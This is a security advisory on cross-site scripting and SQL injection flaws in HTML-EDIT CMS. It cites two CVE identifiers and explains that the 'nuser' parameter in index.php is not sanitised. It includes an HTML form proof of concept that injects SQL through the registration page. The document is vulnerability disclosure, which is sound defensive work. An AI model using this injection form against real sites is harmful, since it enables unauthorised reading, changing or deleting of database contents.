High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in HTML-EDIT CMS which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in HTML-EDIT CMS: CVE-2010-4610

2) SQL injection vulnerabilities in HTML-EDIT CMS: CVE-2010-4609

The vulnerability exists due to input sanitation errors in the "nuser" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation example:
<form action="http://[host]/index.php?pageid=ext&ext=login&extpage=registrate" method="post" name="main" >
<input type="hidden" name="nuser" value="123'SQL_CODE"/>
<input type="hidden" name="npass" value="password"/>
<input type="hidden" name="renpass" value="password"/>
<input type="hidden" name="gvrg" value="1"/>
<input type="hidden" name="antw" value="2"/>
<input type="hidden" name="email" value="test@email.com"/>
<input type="submit" value="Registrate" name="submit" />
